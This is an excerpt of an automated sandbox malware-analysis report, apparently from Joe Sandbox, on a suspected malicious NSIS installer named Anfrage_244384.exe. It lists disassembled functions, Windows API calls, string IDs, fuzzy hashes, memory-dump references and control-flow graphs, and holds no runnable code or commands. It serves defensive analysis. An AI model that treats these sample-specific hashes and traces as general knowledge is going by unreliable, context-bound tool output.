                                                          • Instruction Fuzzy Hash: D611E4736041282BEB00666D9C45EEF3698DB86374F244237FA25F31D1EA78CC1286E8
                                                          Function 00403A08 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetWindowTextA.USER32(00000000,Debutromaners241 Setup), ref: 00403AA0
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: TextWindow
                                                          • String ID: "C:\Users\user\Desktop\Anfrage_244384.exe"$1033$Debutromaners241 Setup
                                                          • API String ID: 530164218-2386986960
                                                          • Opcode ID: 96401226afcf46c978deea678981fff0f7e57d07aa73fd903f01d42c88786375
                                                          • Instruction ID: b04f25c42bae21d45f40ba66b929719106617fb277c5c9e4054ff8f425243e64
                                                          • Opcode Fuzzy Hash: 96401226afcf46c978deea678981fff0f7e57d07aa73fd903f01d42c88786375
                                                          • Instruction Fuzzy Hash: 1811A431B005109BC720EF55DC8097777ACEF94759758813BE841A7391D6399D038E68
                                                          Function 00405835 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403190,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 0040583B
                                                          • CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403190,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00405844
                                                          • lstrcatA.KERNEL32(?,0040A014), ref: 00405855
                                                          Strings
                                                          • C:\Users\user\AppData\Local\Temp\, xrefs: 00405835
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: CharPrevlstrcatlstrlen
                                                          • String ID: C:\Users\user\AppData\Local\Temp\
                                                          • API String ID: 2659869361-823278215
                                                          • Opcode ID: 178b6ada5e076015f485ca613ecf1787b7cf1381da79526f7687ddfe4de49248
                                                          • Instruction ID: 43d0cd13a6a684b33c4c302d476afec45ae212270d2ea225269fd4ac386bbf9e
                                                          • Opcode Fuzzy Hash: 178b6ada5e076015f485ca613ecf1787b7cf1381da79526f7687ddfe4de49248
                                                          • Instruction Fuzzy Hash: 46D0A9A2201A302AE20237158C09ECB2A08CF12316B04803BF202B21A1CA7D0D428BFE
                                                          Function 00402C96 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • DestroyWindow.USER32(00000000,00000000,00402E76,00000001), ref: 00402CA9
                                                          • GetTickCount.KERNEL32 ref: 00402CC7
                                                          • CreateDialogParamA.USER32(0000006F,00000000,00402C13,00000000), ref: 00402CE4
                                                          • ShowWindow.USER32(00000000,00000005), ref: 00402CF2
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Window$CountCreateDestroyDialogParamShowTick
                                                          • String ID:
                                                          • API String ID: 2102729457-0
                                                          • Opcode ID: 7c95322a2218cd30271dcbbb025a48105d342dcc5512f67fa7608e428122dd6b
                                                          • Instruction ID: 83d2969b76bdb5b590415ddeb9dbf6a67b394939c3bc7fdf3e8ca1fe09a6ce6e
                                                          • Opcode Fuzzy Hash: 7c95322a2218cd30271dcbbb025a48105d342dcc5512f67fa7608e428122dd6b
                                                          • Instruction Fuzzy Hash: 4CF05E31605620ABD6217B20FF0C99F7BA4B714B45B81057EF045B21F8CB7818868B9C
                                                          Function 00405923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00405DC3: lstrcpynA.KERNEL32(?,?,00000400,00403251,Debutromaners241 Setup,NSIS Error), ref: 00405DD0
                                                            • Part of subcall function 004058CE: CharNextA.USER32(?,?,0042BC70,?,0040593A,0042BC70,0042BC70,75923410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058DC
                                                            • Part of subcall function 004058CE: CharNextA.USER32(00000000), ref: 004058E1
                                                            • Part of subcall function 004058CE: CharNextA.USER32(00000000), ref: 004058F5
                                                          • lstrlenA.KERNEL32(0042BC70,00000000,0042BC70,0042BC70,75923410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405976
                                                          • GetFileAttributesA.KERNEL32(0042BC70,0042BC70,0042BC70,0042BC70,0042BC70,0042BC70,00000000,0042BC70,0042BC70,75923410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,75923410,C:\Users\user\AppData\Local\Temp\), ref: 00405986
                                                          Strings
                                                          • C:\Users\user\AppData\Local\Temp\, xrefs: 00405923
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: CharNext$AttributesFilelstrcpynlstrlen
                                                          • String ID: C:\Users\user\AppData\Local\Temp\
                                                          • API String ID: 3248276644-823278215
                                                          • Opcode ID: 2dd11022cd3804a0f23826d58d53fd3ba18c85e64f763ac6aee612c12e1a2a27
                                                          • Instruction ID: 92543aceb9d73041788eed49261eabef0250a74612a1112b20cd45f7194ba1aa
                                                          • Opcode Fuzzy Hash: 2dd11022cd3804a0f23826d58d53fd3ba18c85e64f763ac6aee612c12e1a2a27
                                                          • Instruction Fuzzy Hash: 2FF0F466104E51A2C222333A1C09E9F0A18CE43374719453FFCA1B62C2DB3C8D569DBE
                                                          Function 004036AE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • FreeLibrary.KERNEL32(?,75923410,00000000,C:\Users\user\AppData\Local\Temp\,00403686,004034A0,?), ref: 004036C8
                                                          • GlobalFree.KERNEL32(0087CFA8), ref: 004036CF
                                                          Strings
                                                          • C:\Users\user\AppData\Local\Temp\, xrefs: 004036AE
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Free$GlobalLibrary
                                                          • String ID: C:\Users\user\AppData\Local\Temp\
                                                          • API String ID: 1100898210-823278215
                                                          • Opcode ID: 1bad914f96c97a74accc372815b9fc60e9a0461e25a509c21ecbd9517d8462b1
                                                          • Instruction ID: 9fca1652fb000c4b705c35b2fab9dc87deb0b29542395ee28e6d3d9d92831ef3
                                                          • Opcode Fuzzy Hash: 1bad914f96c97a74accc372815b9fc60e9a0461e25a509c21ecbd9517d8462b1
                                                          • Instruction Fuzzy Hash: B8E08C32A2102067CA312F54EE0472A7BAC6F49B22F09046AE9807B3608B755C424BCC
                                                          Function 0040587C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402D66,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Anfrage_244384.exe,C:\Users\user\Desktop\Anfrage_244384.exe,80000000,00000003), ref: 00405882
                                                          • CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402D66,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Anfrage_244384.exe,C:\Users\user\Desktop\Anfrage_244384.exe,80000000,00000003), ref: 00405890
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: CharPrevlstrlen
                                                          • String ID: C:\Users\user\Desktop
                                                          • API String ID: 2709904686-1246513382
                                                          • Opcode ID: a9e0b15de56eef468385f8c6f647f59dc691c576a1137d19596c50b040f8bf1b
                                                          • Instruction ID: 2ed5ef101b5713daa1f548366255804a524b1aabb415f21906ff2d2d9e5555c3
                                                          • Opcode Fuzzy Hash: a9e0b15de56eef468385f8c6f647f59dc691c576a1137d19596c50b040f8bf1b
                                                          • Instruction Fuzzy Hash: C3D0A763408D701EF30363108C04B9F7A48DF12300F0940B2E481A2190C6BC0C424BBD
                                                          Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GlobalAlloc.KERNEL32(00000040,?), ref: 1000115B
                                                          • GlobalFree.KERNEL32(00000000), ref: 100011B4
                                                          • GlobalFree.KERNEL32(?), ref: 100011C7
                                                          • GlobalFree.KERNEL32(?), ref: 100011F5
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2561947930.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.2561930247.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562006314.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562021245.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Global$Free$Alloc
                                                          • String ID:
                                                          • API String ID: 1780285237-0
                                                          • Opcode ID: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
                                                          • Instruction ID: 5d3a3765e571093bf703368c32e31ec5bfeafbef09712c331e02e9e13643e521
                                                          • Opcode Fuzzy Hash: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
                                                          • Instruction Fuzzy Hash: 6531ABB1808255AFF715CFA8DC89AEA7FE8EB052C1B164115FA45D726CDB34D910CB24
                                                          Function 0040599B Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059AB
                                                          • lstrcmpiA.KERNEL32(00000000,00000000), ref: 004059C3
                                                          • CharNextA.USER32(00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059D4
                                                          • lstrlenA.KERNEL32(00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059DD
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: lstrlen$CharNextlstrcmpi
                                                          • String ID:
                                                          • API String ID: 190613189-0
                                                          • Opcode ID: a2c52c9a51a2c87d3959497fa160f4ebe8f2eb417ab2d749973a894cf6308a94
                                                          • Instruction ID: a6643053d284366244d0af05be0bd1f2da836f60db037e8ed7330f0f38b612ff
                                                          • Opcode Fuzzy Hash: a2c52c9a51a2c87d3959497fa160f4ebe8f2eb417ab2d749973a894cf6308a94
                                                          • Instruction Fuzzy Hash: D6F06232105918EFD7029BA5DD0099FBBA8EF16360B2540BAE840F7210D674DE019BA9

                                                          Execution Graph

                                                          Execution Coverage:0%
                                                          Dynamic/Decrypted Code Coverage:100%
                                                          Signature Coverage:100%
                                                          Total number of Nodes:1
                                                          Total number of Limit Nodes:0
                                                          execution_graph 81494 346b2df0 LdrInitializeThunk

                                                          Executed Functions

                                                          Function 346B35C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1 346b35c0-346b35cc LdrInitializeThunk
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: ff8a0f66ad055161312fad87e418284005feef18de4103b0ba58a3b826d1294f
                                                          • Instruction ID: 39db7cba04a5e05d81b084e8157e14619d8d75f9397a1704ffff287b2dbcb881
                                                          • Opcode Fuzzy Hash: ff8a0f66ad055161312fad87e418284005feef18de4103b0ba58a3b826d1294f
                                                          • Instruction Fuzzy Hash: 1090023160550402D1107999451471610058BD0206F65D412A0425528E8796CE5565A2
                                                          Function 346B2DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 0 346b2df0-346b2dfc LdrInitializeThunk
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 2bf53825079ffa8fcd61d143ee928271621a5955e07df044aaf646d9c2cc5829
                                                          • Instruction ID: aaeda96a5d48e94fb12ab62fa401b8a92384820e616e5e41415a3af11a7e9396
                                                          • Opcode Fuzzy Hash: 2bf53825079ffa8fcd61d143ee928271621a5955e07df044aaf646d9c2cc5829
                                                          • Instruction Fuzzy Hash: 3590023120140413D1217999450471700098BD0246F95D413A0425518E9657CE56A121

                                                          Non-executed Functions

                                                          Function 3472FCAB Relevance: 31.4, Strings: 25, Instructions: 195COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 95 3472fcab-3472fcc3 GetPEB 96 3472fce2-3472fce3 call 3466b970 95->96 97 3472fcc5-3472fce0 GetPEB call 3466b970 95->97 101 3472fce8-3472fd0a call 3466b970 96->101 97->101 104 3472fd81-3472fd8a GetPEB 101->104 105 3472fd0c 101->105 122 3472fda9-3472fdaa call 3466b970 104->122 123 3472fd8c-3472fda7 GetPEB call 3466b970 104->123 106 3472fd52-3472fd57 105->106 107 3472fd13-3472fd18 105->107 108 3472fd36-3472fd3b 105->108 109 3472fd75-3472fd7a 105->109 110 3472fd1a-3472fd1f 105->110 111 3472fd59-3472fd5e 105->111 112 3472fd7c 105->112 113 3472fd3d-3472fd42 105->113 114 3472fd60-3472fd65 105->114 115 3472fd21-3472fd26 105->115 116 3472fd67-3472fd6c 105->116 117 3472fd44-3472fd49 105->117 118 3472fd4b-3472fd50 105->118 119 3472fd28-3472fd2d 105->119 120 3472fd6e-3472fd73 105->120 121 3472fd2f-3472fd34 105->121 106->104 107->104 108->104 109->104 110->104 111->104 112->104 113->104 114->104 115->104 116->104 117->104 118->104 119->104 120->104 121->104 127 3472fdaf-3472fdca call 3466b970 122->127 123->127 130 3472fdcc-3472fdd5 GetPEB 127->130 131 3472fe0d-3472fe13 127->131 134 3472fdd7-3472fdf2 GetPEB call 3466b970 130->134 135 3472fdf4-3472fdf5 call 3466b970 130->135 132 3472fe56-3472fe5c 131->132 133 3472fe15-3472fe1e GetPEB 131->133 138 3472fe5e-3472fe67 GetPEB 132->138 139 3472fe9f-3472fea5 132->139 136 3472fe20-3472fe3b GetPEB call 3466b970 133->136 137 3472fe3d-3472fe3e call 3466b970 133->137 149 3472fdfa-3472fe0c call 3466b970 134->149 135->149 152 3472fe43-3472fe55 call 3466b970 136->152 137->152 147 3472fe86-3472fe87 call 3466b970 138->147 148 3472fe69-3472fe84 GetPEB call 3466b970 138->148 143 3472fea7-3472fead 139->143 144 3472feaf-3472feb8 GetPEB 139->144 143->144 155 3472fef7-3472ff00 GetPEB 143->155 156 3472fed7-3472fed8 call 3466b970 144->156 157 3472feba-3472fed5 GetPEB call 3466b970 144->157 162 3472fe8c-3472fe9e call 3466b970 147->162 148->162 149->131 152->132 160 3472ff02-3472ff1d GetPEB call 3466b970 155->160 161 3472ff1f-3472ff20 call 3466b970 155->161 171 3472fedd-3472fef4 call 3466b970 156->171 157->171 174 3472ff25-3472ff3a call 3466b970 160->174 161->174 162->139 171->155
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
                                                          • API String ID: 0-2897834094
                                                          • Opcode ID: 161ac1077bbfb437ff9f34809b58d2be782baec79856216a85b695fad6be762c
                                                          • Instruction ID: cb03c745b59051b97e3848dd9e36eefc8583511878bcb560faed80380e435e5e
                                                          • Opcode Fuzzy Hash: 161ac1077bbfb437ff9f34809b58d2be782baec79856216a85b695fad6be762c
                                                          • Instruction Fuzzy Hash: 1261C172A16751DFE3419F54C494E2173E9EB0AA3CB05406EE9029F752CA3DEC82DE4D
                                                          Function 347194E0 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 558timeCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 553 347194e0-34719529 554 34719578-34719587 553->554 555 3471952b-34719530 553->555 556 34719534-3471953a 554->556 557 34719589-3471958e 554->557 555->556 559 34719540-34719564 call 346b9020 556->559 560 34719695-347196bd call 346b9020 556->560 558 34719d13-34719d27 call 346b4c30 557->558 567 34719593-34719634 GetPEB call 3471dc65 559->567 568 34719566-34719573 call 3473972b 559->568 569 347196dc-34719712 560->569 570 347196bf-347196da call 34719d2a 560->570 580 34719652-34719667 567->580 581 34719636-34719644 567->581 579 3471967d-34719690 RtlDebugPrintTimes 568->579 574 34719714-34719716 569->574 570->574 574->558 578 3471971c-34719731 RtlDebugPrintTimes 574->578 578->558 588 34719737-3471973e 578->588 579->558 580->579 583 34719669-3471966e 580->583 581->580 582 34719646-3471964b 581->582 582->580 586 34719670 583->586 587 34719673-34719676 583->587 586->587 587->579 588->558 589 34719744-3471975f 588->589 590 34719763-34719774 call 3471a808 589->590 593 34719d11 590->593 594 3471977a-3471977c 590->594 593->558 594->558 595 34719782-34719789 594->595 596 347198fc-34719902 595->596 597 3471978f-34719794 595->597 600 34719908-34719937 call 346b9020 596->600 601 34719a9c-34719aa2 596->601 598 34719796-3471979c 597->598 599 347197bc 597->599 598->599 604 3471979e-347197b2 598->604 605 347197c0-34719811 call 346b9020 RtlDebugPrintTimes 599->605 614 34719970-34719985 600->614 615 34719939-34719944 600->615 602 34719af4-34719af9 601->602 603 34719aa4-34719aad 601->603 609 34719ba8-34719bb1 602->609 610 34719aff-34719b07 602->610 603->590 608 34719ab3-34719aef call 346b9020 603->608 611 347197b4-347197b6 604->611 612 347197b8-347197ba 604->612 605->558 647 34719817-3471981b 605->647 632 34719ce9 608->632 609->590 616 34719bb7-34719bba 609->616 618 34719b13-34719b3d call 34718513 610->618 619 34719b09-34719b0d 610->619 611->605 612->605 626 34719991-34719998 614->626 627 34719987-34719989 614->627 621 34719946-3471994d 615->621 622 3471994f-3471996e 615->622 623 34719bc0-34719c0a 616->623 624 34719c7d-34719cb4 call 346b9020 616->624 644 34719b43-34719b9e call 346b9020 RtlDebugPrintTimes 618->644 645 34719d08-34719d0c 618->645 619->609 619->618 621->622 631 347199d9-347199f6 RtlDebugPrintTimes 622->631 629 34719c11-34719c1e 623->629 630 34719c0c 623->630 657 34719cb6 624->657 658 34719cbb-34719cc2 624->658 635 347199bd-347199bf 626->635 633 3471998b-3471998d 627->633 634 3471998f 627->634 641 34719c20-34719c23 629->641 642 34719c2a-34719c2d 629->642 630->629 631->558 662 347199fc-34719a1f call 346b9020 631->662 643 34719ced 632->643 633->626 634->626 639 347199c1-347199d7 635->639 640 3471999a-347199a4 635->640 639->631 654 347199a6 640->654 655 347199ad 640->655 641->642 652 34719c39-34719c7b 642->652 653 34719c2f-34719c32 642->653 651 34719cf1-34719d06 RtlDebugPrintTimes 643->651 644->558 686 34719ba4 644->686 645->590 648 3471986b-34719880 647->648 649 3471981d-34719825 647->649 661 34719886-34719894 648->661 659 34719852-34719869 649->659 660 34719827-34719850 call 34718513 649->660 651->558 651->645 652->651 653->652 654->639 663 347199a8-347199ab 654->663 665 347199af-347199b1 655->665 657->658 666 34719cc4-34719ccb 658->666 667 34719ccd 658->667 659->661 670 34719898-347198ef call 346b9020 RtlDebugPrintTimes 660->670 661->670 684 34719a21-34719a3b 662->684 685 34719a3d-34719a58 662->685 663->665 673 347199b3-347199b5 665->673 674 347199bb 665->674 668 34719cd1-34719cd7 666->668 667->668 675 34719cd9-34719cdc 668->675 676 34719cde-34719ce4 668->676 670->558 689 347198f5-347198f7 670->689 673->674 681 347199b7-347199b9 673->681 674->635 675->632 676->643 682 34719ce6 676->682 681->635 682->632 687 34719a5d-34719a8b RtlDebugPrintTimes 684->687 685->687 686->609 687->558 691 34719a91-34719a97 687->691 689->645 691->616
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
